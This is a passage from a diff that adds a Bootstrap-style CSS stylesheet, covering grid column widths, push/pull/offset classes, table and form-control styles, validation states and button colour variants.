+ width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + right: 100%; + } + .col-md-pull-11 { + right: 91.66666667%; + } + .col-md-pull-10 { + right: 83.33333333%; + } + .col-md-pull-9 { + right: 75%; + } + .col-md-pull-8 { + right: 66.66666667%; + } + .col-md-pull-7 { + right: 58.33333333%; + } + .col-md-pull-6 { + right: 50%; + } + .col-md-pull-5 { + right: 41.66666667%; + } + .col-md-pull-4 { + right: 33.33333333%; + } + .col-md-pull-3 { + right: 25%; + } + .col-md-pull-2 { + right: 16.66666667%; + } + .col-md-pull-1 { + right: 8.33333333%; + } + .col-md-pull-0 { + right: auto; + } + .col-md-push-12 { + left: 100%; + } + .col-md-push-11 { + left: 91.66666667%; + } + .col-md-push-10 { + left: 83.33333333%; + } + .col-md-push-9 { + left: 75%; + } + .col-md-push-8 { + left: 66.66666667%; + } + .col-md-push-7 { + left: 58.33333333%; + } + .col-md-push-6 { + left: 50%; + } + .col-md-push-5 { + left: 41.66666667%; + } + .col-md-push-4 { + left: 33.33333333%; + } + .col-md-push-3 { + left: 25%; + } + .col-md-push-2 { + left: 16.66666667%; + } + .col-md-push-1 { + left: 8.33333333%; + } + .col-md-push-0 { + left: auto; + } + .col-md-offset-12 { + margin-left: 100%; + } + .col-md-offset-11 { + margin-left: 91.66666667%; + } + .col-md-offset-10 { + margin-left: 83.33333333%; + } + .col-md-offset-9 { + margin-left: 75%; + } + .col-md-offset-8 { + margin-left: 66.66666667%; + } + .col-md-offset-7 { + margin-left: 58.33333333%; + } + .col-md-offset-6 { + margin-left: 50%; + } + .col-md-offset-5 { + margin-left: 41.66666667%; + } + .col-md-offset-4 { + margin-left: 33.33333333%; + } + .col-md-offset-3 { + margin-left: 25%; + } + .col-md-offset-2 { + margin-left: 16.66666667%; + } + .col-md-offset-1 { + margin-left: 8.33333333%; + } + .col-md-offset-0 { + margin-left: 0; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: left; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + right: 100%; + } + .col-lg-pull-11 { + right: 91.66666667%; + } + .col-lg-pull-10 { + right: 83.33333333%; + } + .col-lg-pull-9 { + right: 75%; + } + .col-lg-pull-8 { + right: 66.66666667%; + } + .col-lg-pull-7 { + right: 58.33333333%; + } + .col-lg-pull-6 { + right: 50%; + } + .col-lg-pull-5 { + right: 41.66666667%; + } + .col-lg-pull-4 { + right: 33.33333333%; + } + .col-lg-pull-3 { + right: 25%; + } + .col-lg-pull-2 { + right: 16.66666667%; + } + .col-lg-pull-1 { + right: 8.33333333%; + } + .col-lg-pull-0 { + right: auto; + } + .col-lg-push-12 { + left: 100%; + } + .col-lg-push-11 { + left: 91.66666667%; + } + .col-lg-push-10 { + left: 83.33333333%; + } + .col-lg-push-9 { + left: 75%; + } + .col-lg-push-8 { + left: 66.66666667%; + } + .col-lg-push-7 { + left: 58.33333333%; + } + .col-lg-push-6 { + left: 50%; + } + .col-lg-push-5 { + left: 41.66666667%; + } + .col-lg-push-4 { + left: 33.33333333%; + } + .col-lg-push-3 { + left: 25%; + } + .col-lg-push-2 { + left: 16.66666667%; + } + .col-lg-push-1 { + left: 8.33333333%; + } + .col-lg-push-0 { + left: auto; + } + .col-lg-offset-12 { + margin-left: 100%; + } + .col-lg-offset-11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9 { + margin-left: 75%; + } + .col-lg-offset-8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6 { + margin-left: 50%; + } + .col-lg-offset-5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3 { + margin-left: 25%; + } + .col-lg-offset-2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0 { + margin-left: 0; + } +} +table { + background-color: transparent; +} +caption { + padding-top: 8px; + padding-bottom: 8px; + color: #777; + text-align: left; +} +th { + text-align: left; +} +.table { + width: 100%; + max-width: 100%; + margin-bottom: 20px; +} +.table > thead > tr > th, +.table > tbody > tr > th, +.table > tfoot > tr > th, +.table > thead > tr > td, +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px; + line-height: 1.42857143; + vertical-align: top; + border-top: 1px solid #ddd; +} +.table > thead > tr > th { + vertical-align: bottom; + border-bottom: 2px solid #ddd; +} +.table > caption + thead > tr:first-child > th, +.table > colgroup + thead > tr:first-child > th, +.table > thead:first-child > tr:first-child > th, +.table > caption + thead > tr:first-child > td, +.table > colgroup + thead > tr:first-child > td, +.table > thead:first-child > tr:first-child > td { + border-top: 0; +} +.table > tbody + tbody { + border-top: 2px solid #ddd; +} +.table .table { + background-color: #fff; +} +.table-condensed > thead > tr > th, +.table-condensed > tbody > tr > th, +.table-condensed > tfoot > tr > th, +.table-condensed > thead > tr > td, +.table-condensed > tbody > tr > td, +.table-condensed > tfoot > tr > td { + padding: 5px; +} +.table-bordered { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > tbody > tr > th, +.table-bordered > tfoot > tr > th, +.table-bordered > thead > tr > td, +.table-bordered > tbody > tr > td, +.table-bordered > tfoot > tr > td { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > thead > tr > td { + border-bottom-width: 2px; +} +.table-striped > tbody > tr:nth-of-type(odd) { + background-color: #f9f9f9; +} +.table-hover > tbody > tr:hover { + background-color: #f5f5f5; +} +table col[class*="col-"] { + position: static; + display: table-column; + float: none; +} +table td[class*="col-"], +table th[class*="col-"] { + position: static; + display: table-cell; + float: none; +} +.table > thead > tr > td.active, +.table > tbody > tr > td.active, +.table > tfoot > tr > td.active, +.table > thead > tr > th.active, +.table > tbody > tr > th.active, +.table > tfoot > tr > th.active, +.table > thead > tr.active > td, +.table > tbody > tr.active > td, +.table > tfoot > tr.active > td, +.table > thead > tr.active > th, +.table > tbody > tr.active > th, +.table > tfoot > tr.active > th { + background-color: #f5f5f5; +} +.table-hover > tbody > tr > td.active:hover, +.table-hover > tbody > tr > th.active:hover, +.table-hover > tbody > tr.active:hover > td, +.table-hover > tbody > tr:hover > .active, +.table-hover > tbody > tr.active:hover > th { + background-color: #e8e8e8; +} +.table > thead > tr > td.success, +.table > tbody > tr > td.success, +.table > tfoot > tr > td.success, +.table > thead > tr > th.success, +.table > tbody > tr > th.success, +.table > tfoot > tr > th.success, +.table > thead > tr.success > td, +.table > tbody > tr.success > td, +.table > tfoot > tr.success > td, +.table > thead > tr.success > th, +.table > tbody > tr.success > th, +.table > tfoot > tr.success > th { + background-color: #dff0d8; +} +.table-hover > tbody > tr > td.success:hover, +.table-hover > tbody > tr > th.success:hover, +.table-hover > tbody > tr.success:hover > td, +.table-hover > tbody > tr:hover > .success, +.table-hover > tbody > tr.success:hover > th { + background-color: #d0e9c6; +} +.table > thead > tr > td.info, +.table > tbody > tr > td.info, +.table > tfoot > tr > td.info, +.table > thead > tr > th.info, +.table > tbody > tr > th.info, +.table > tfoot > tr > th.info, +.table > thead > tr.info > td, +.table > tbody > tr.info > td, +.table > tfoot > tr.info > td, +.table > thead > tr.info > th, +.table > tbody > tr.info > th, +.table > tfoot > tr.info > th { + background-color: #d9edf7; +} +.table-hover > tbody > tr > td.info:hover, +.table-hover > tbody > tr > th.info:hover, +.table-hover > tbody > tr.info:hover > td, +.table-hover > tbody > tr:hover > .info, +.table-hover > tbody > tr.info:hover > th { + background-color: #c4e3f3; +} +.table > thead > tr > td.warning, +.table > tbody > tr > td.warning, +.table > tfoot > tr > td.warning, +.table > thead > tr > th.warning, +.table > tbody > tr > th.warning, +.table > tfoot > tr > th.warning, +.table > thead > tr.warning > td, +.table > tbody > tr.warning > td, +.table > tfoot > tr.warning > td, +.table > thead > tr.warning > th, +.table > tbody > tr.warning > th, +.table > tfoot > tr.warning > th { + background-color: #fcf8e3; +} +.table-hover > tbody > tr > td.warning:hover, +.table-hover > tbody > tr > th.warning:hover, +.table-hover > tbody > tr.warning:hover > td, +.table-hover > tbody > tr:hover > .warning, +.table-hover > tbody > tr.warning:hover > th { + background-color: #faf2cc; +} +.table > thead > tr > td.danger, +.table > tbody > tr > td.danger, +.table > tfoot > tr > td.danger, +.table > thead > tr > th.danger, +.table > tbody > tr > th.danger, +.table > tfoot > tr > th.danger, +.table > thead > tr.danger > td, +.table > tbody > tr.danger > td, +.table > tfoot > tr.danger > td, +.table > thead > tr.danger > th, +.table > tbody > tr.danger > th, +.table > tfoot > tr.danger > th { + background-color: #f2dede; +} +.table-hover > tbody > tr > td.danger:hover, +.table-hover > tbody > tr > th.danger:hover, +.table-hover > tbody > tr.danger:hover > td, +.table-hover > tbody > tr:hover > .danger, +.table-hover > tbody > tr.danger:hover > th { + background-color: #ebcccc; +} +.table-responsive { + min-height: .01%; + overflow-x: auto; +} +@media screen and (max-width: 767px) { + .table-responsive { + width: 100%; + margin-bottom: 15px; + overflow-y: hidden; + -ms-overflow-style: -ms-autohiding-scrollbar; + border: 1px solid #ddd; + } + .table-responsive > .table { + margin-bottom: 0; + } + .table-responsive > .table > thead > tr > th, + .table-responsive > .table > tbody > tr > th, + .table-responsive > .table > tfoot > tr > th, + .table-responsive > .table > thead > tr > td, + .table-responsive > .table > tbody > tr > td, + .table-responsive > .table > tfoot > tr > td { + white-space: nowrap; + } + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot > tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > .table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; + } + .table-responsive > .table-bordered > tbody > tr:last-child > th, + .table-responsive > .table-bordered > tfoot > tr:last-child > th, + .table-responsive > .table-bordered > tbody > tr:last-child > td, + .table-responsive > .table-bordered > tfoot > tr:last-child > td { + border-bottom: 0; + } +} +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 20px; + font-size: 21px; + line-height: inherit; + color: #333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} +label { + display: inline-block; + max-width: 100%; + margin-bottom: 5px; + font-weight: bold; +} +input[type="search"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + line-height: normal; +} +input[type="file"] { + display: block; +} +input[type="range"] { + display: block; + width: 100%; +} +select[multiple], +select[size] { + height: auto; +} +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +output { + display: block; + padding-top: 7px; + font-size: 14px; + line-height: 1.42857143; + color: #555; +} +.form-control { + display: block; + width: 100%; + height: 34px; + padding: 6px 12px; + font-size: 14px; + line-height: 1.42857143; + color: #555; + background-color: #fff; + background-image: none; + border: 1px solid #ccc; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; + -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; + transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; +} +.form-control:focus { + border-color: #66afe9; + outline: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); + box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); +} +.form-control::-moz-placeholder { + color: #999; + opacity: 1; +} +.form-control:-ms-input-placeholder { + color: #999; +} +.form-control::-webkit-input-placeholder { + color: #999; +} +.form-control::-ms-expand { + background-color: transparent; + border: 0; +} +.form-control[disabled], +.form-control[readonly], +fieldset[disabled] .form-control { + background-color: #eee; + opacity: 1; +} +.form-control[disabled], +fieldset[disabled] .form-control { + cursor: not-allowed; +} +textarea.form-control { + height: auto; +} +input[type="search"] { + -webkit-appearance: none; +} +@media screen and (-webkit-min-device-pixel-ratio: 0) { + input[type="date"].form-control, + input[type="time"].form-control, + input[type="datetime-local"].form-control, + input[type="month"].form-control { + line-height: 34px; + } + input[type="date"].input-sm, + input[type="time"].input-sm, + input[type="datetime-local"].input-sm, + input[type="month"].input-sm, + .input-group-sm input[type="date"], + .input-group-sm input[type="time"], + .input-group-sm input[type="datetime-local"], + .input-group-sm input[type="month"] { + line-height: 30px; + } + input[type="date"].input-lg, + input[type="time"].input-lg, + input[type="datetime-local"].input-lg, + input[type="month"].input-lg, + .input-group-lg input[type="date"], + .input-group-lg input[type="time"], + .input-group-lg input[type="datetime-local"], + .input-group-lg input[type="month"] { + line-height: 46px; + } +} +.form-group { + margin-bottom: 15px; +} +.radio, +.checkbox { + position: relative; + display: block; + margin-top: 10px; + margin-bottom: 10px; +} +.radio label, +.checkbox label { + min-height: 20px; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + cursor: pointer; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + position: absolute; + margin-top: 4px \9; + margin-left: -20px; +} +.radio + .radio, +.checkbox + .checkbox { + margin-top: -5px; +} +.radio-inline, +.checkbox-inline { + position: relative; + display: inline-block; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + vertical-align: middle; + cursor: pointer; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-top: 0; + margin-left: 10px; +} +input[type="radio"][disabled], +input[type="checkbox"][disabled], +input[type="radio"].disabled, +input[type="checkbox"].disabled, +fieldset[disabled] input[type="radio"], +fieldset[disabled] input[type="checkbox"] { + cursor: not-allowed; +} +.radio-inline.disabled, +.checkbox-inline.disabled, +fieldset[disabled] .radio-inline, +fieldset[disabled] .checkbox-inline { + cursor: not-allowed; +} +.radio.disabled label, +.checkbox.disabled label, +fieldset[disabled] .radio label, +fieldset[disabled] .checkbox label { + cursor: not-allowed; +} +.form-control-static { + min-height: 34px; + padding-top: 7px; + padding-bottom: 7px; + margin-bottom: 0; +} +.form-control-static.input-lg, +.form-control-static.input-sm { + padding-right: 0; + padding-left: 0; +} +.input-sm { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-sm { + height: 30px; + line-height: 30px; +} +textarea.input-sm, +select[multiple].input-sm { + height: auto; +} +.form-group-sm .form-control { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.form-group-sm select.form-control { + height: 30px; + line-height: 30px; +} +.form-group-sm textarea.form-control, +.form-group-sm select[multiple].form-control { + height: auto; +} +.form-group-sm .form-control-static { + height: 30px; + min-height: 32px; + padding: 6px 10px; + font-size: 12px; + line-height: 1.5; +} +.input-lg { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-lg { + height: 46px; + line-height: 46px; +} +textarea.input-lg, +select[multiple].input-lg { + height: auto; +} +.form-group-lg .form-control { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.form-group-lg select.form-control { + height: 46px; + line-height: 46px; +} +.form-group-lg textarea.form-control, +.form-group-lg select[multiple].form-control { + height: auto; +} +.form-group-lg .form-control-static { + height: 46px; + min-height: 38px; + padding: 11px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.has-feedback { + position: relative; +} +.has-feedback .form-control { + padding-right: 42.5px; +} +.form-control-feedback { + position: absolute; + top: 0; + right: 0; + z-index: 2; + display: block; + width: 34px; + height: 34px; + line-height: 34px; + text-align: center; + pointer-events: none; +} +.input-lg + .form-control-feedback, +.input-group-lg + .form-control-feedback, +.form-group-lg .form-control + .form-control-feedback { + width: 46px; + height: 46px; + line-height: 46px; +} +.input-sm + .form-control-feedback, +.input-group-sm + .form-control-feedback, +.form-group-sm .form-control + .form-control-feedback { + width: 30px; + height: 30px; + line-height: 30px; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline, +.has-success.radio label, +.has-success.checkbox label, +.has-success.radio-inline label, +.has-success.checkbox-inline label { + color: #3c763d; +} +.has-success .form-control { + border-color: #3c763d; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-success .form-control:focus { + border-color: #2b542c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; +} +.has-success .input-group-addon { + color: #3c763d; + background-color: #dff0d8; + border-color: #3c763d; +} +.has-success .form-control-feedback { + color: #3c763d; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline, +.has-warning.radio label, +.has-warning.checkbox label, +.has-warning.radio-inline label, +.has-warning.checkbox-inline label { + color: #8a6d3b; +} +.has-warning .form-control { + border-color: #8a6d3b; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-warning .form-control:focus { + border-color: #66512c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; +} +.has-warning .input-group-addon { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #8a6d3b; +} +.has-warning .form-control-feedback { + color: #8a6d3b; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline, +.has-error.radio label, +.has-error.checkbox label, +.has-error.radio-inline label, +.has-error.checkbox-inline label { + color: #a94442; +} +.has-error .form-control { + border-color: #a94442; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-error .form-control:focus { + border-color: #843534; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; +} +.has-error .input-group-addon { + color: #a94442; + background-color: #f2dede; + border-color: #a94442; +} +.has-error .form-control-feedback { + color: #a94442; +} +.has-feedback label ~ .form-control-feedback { + top: 25px; +} +.has-feedback label.sr-only ~ .form-control-feedback { + top: 0; +} +.help-block { + display: block; + margin-top: 5px; + margin-bottom: 10px; + color: #737373; +} +@media (min-width: 768px) { + .form-inline .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-static { + display: inline-block; + } + .form-inline .input-group { + display: inline-table; + vertical-align: middle; + } + .form-inline .input-group .input-group-addon, + .form-inline .input-group .input-group-btn, + .form-inline .input-group .form-control { + width: auto; + } + .form-inline .input-group > .form-control { + width: 100%; + } + .form-inline .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio, + .form-inline .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio label, + .form-inline .checkbox label { + padding-left: 0; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .form-inline .has-feedback .form-control-feedback { + top: 0; + } +} +.form-horizontal .radio, +.form-horizontal .checkbox, +.form-horizontal .radio-inline, +.form-horizontal .checkbox-inline { + padding-top: 7px; + margin-top: 0; + margin-bottom: 0; +} +.form-horizontal .radio, +.form-horizontal .checkbox { + min-height: 27px; +} +.form-horizontal .form-group { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .form-horizontal .control-label { + padding-top: 7px; + margin-bottom: 0; + text-align: right; + } +} +.form-horizontal .has-feedback .form-control-feedback { + right: 15px; +} +@media (min-width: 768px) { + .form-horizontal .form-group-lg .control-label { + padding-top: 11px; + font-size: 18px; + } +} +@media (min-width: 768px) { + .form-horizontal .form-group-sm .control-label { + padding-top: 6px; + font-size: 12px; + } +} +.btn { + display: inline-block; + padding: 6px 12px; + margin-bottom: 0; + font-size: 14px; + font-weight: normal; + line-height: 1.42857143; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -ms-touch-action: manipulation; + touch-action: manipulation; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.btn:focus, +.btn:active:focus, +.btn.active:focus, +.btn.focus, +.btn:active.focus, +.btn.active.focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +.btn:hover, +.btn:focus, +.btn.focus { + color: #333; + text-decoration: none; +} +.btn:active, +.btn.active { + background-image: none; + outline: 0; + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn.disabled, +.btn[disabled], +fieldset[disabled] .btn { + cursor: not-allowed; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + box-shadow: none; + opacity: .65; +} +a.btn.disabled, +fieldset[disabled] a.btn { + pointer-events: none; +} +.btn-default { + color: #333; + background-color: #fff; + border-color: #ccc; +} +.btn-default:focus, +.btn-default.focus { + color: #333; + background-color: #e6e6e6; + border-color: #8c8c8c; +} +.btn-default:hover { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active:hover, +.btn-default.active:hover, +.open > .dropdown-toggle.btn-default:hover, +.btn-default:active:focus, +.btn-default.active:focus, +.open > .dropdown-toggle.btn-default:focus, +.btn-default:active.focus, +.btn-default.active.focus, +.open > .dropdown-toggle.btn-default.focus { + color: #333; + background-color: #d4d4d4; + border-color: #8c8c8c; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + background-image: none; +} +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus { + background-color: #fff; + border-color: #ccc; +} +.btn-default .badge { + color: #fff; + background-color: #333; +} +.btn-primary { + color: #fff; + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary:focus, +.btn-primary.focus { + color: #fff; + background-color: #286090; + border-color: #122b40; +} +.btn-primary:hover { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active:hover, +.btn-primary.active:hover, +.open > .dropdown-toggle.btn-primary:hover, +.btn-primary:active:focus, +.btn-primary.active:focus, +.open > .dropdown-toggle.btn-primary:focus, +.btn-primary:active.focus, +.btn-primary.active.focus, +.open > .dropdown-toggle.btn-primary.focus { + color: #fff; + background-color: #204d74; + border-color: #122b40; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + background-image: none; +} +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus { + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary .badge { + color: #337ab7; + background-color: #fff; +} +.btn-success { + color: #fff; + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success:focus, +.btn-success.focus { + color: #fff; + background-color: #449d44; + border-color: #255625; +} +.btn-success:hover { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active:hover, +.btn-success.active:hover, +.open > .dropdown-toggle.btn-success:hover, +.btn-success:active:focus, +.btn-success.active:focus, +.open > .dropdown-toggle.btn-success:focus, +.btn-success:active.focus, +.btn-success.active.focus, +.open > .dropdown-toggle.btn-success.focus { + color: #fff; + background-color: #398439; + border-color: #255625; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + background-image: none; +} +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus { + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success .badge { + color: #5cb85c; + background-color: #fff; +} +.btn-info { + color: #fff; + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info:focus, +.btn-info.focus { + color: #fff; + background-color: #31b0d5; + border-color: #1b6d85; +} +.btn-info:hover { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active:hover, +.btn-info.active:hover, +.open > .dropdown-toggle.btn-info:hover, +.btn-info:active:focus, +.btn-info.active:focus, +.open > .dropdown-toggle.btn-info:focus, +.btn-info:active.focus, +.btn-info.active.focus, +.open > .dropdown-toggle.btn-info.focus { + color: #fff; + background-color: #269abc; + border-color: #1b6d85; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + background-image: none; +} +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus { + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info .badge { + color: #5bc0de; + background-color: #fff; +} +.btn-warning { + color: #fff; + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning:focus, +.btn-warning.focus { + color: #fff; + background-color: #ec971f; + border-color: #985f0d; +} +.btn-warning:hover { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active:hover, +.btn-warning.active:hover, +.open > .dropdown-toggle.btn-warning:hover, +.btn-warning:active:focus, +.btn-warning.active:focus, +.open > .dropdown-toggle.btn-warning:focus, +.btn-warning:active.focus, +.btn-warning.active.focus, +.open > .dropdown-toggle.btn-warning.focus { + color: #fff; + background-color: #d58512; + border-color: #985f0d; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + background-image: none; +} +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus { + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning .badge { + color: #f0ad4e; + background-color: #fff; +} +.btn-danger { + color: #fff; + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger:focus, +.btn-danger.focus { + color: #fff; + background-color: #c9302c; + border-color: #761c19; +} +.btn-danger:hover { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active:hover, +.btn-danger.active:hover, +.open > .dropdown-toggle.btn-danger:hover, +.btn-danger:active:focus, +.btn-danger.active:focus, +.open > .dropdown-toggle.btn-danger:focus, +.btn-danger:active.focus, +.btn-danger.active.focus, +.open > .dropdown-toggle.btn-danger.focus { + color: #fff; + background-color: #ac2925; + border-color: #761c19; +} +.btn-danger:active, +.btn-danger.active, +.open > 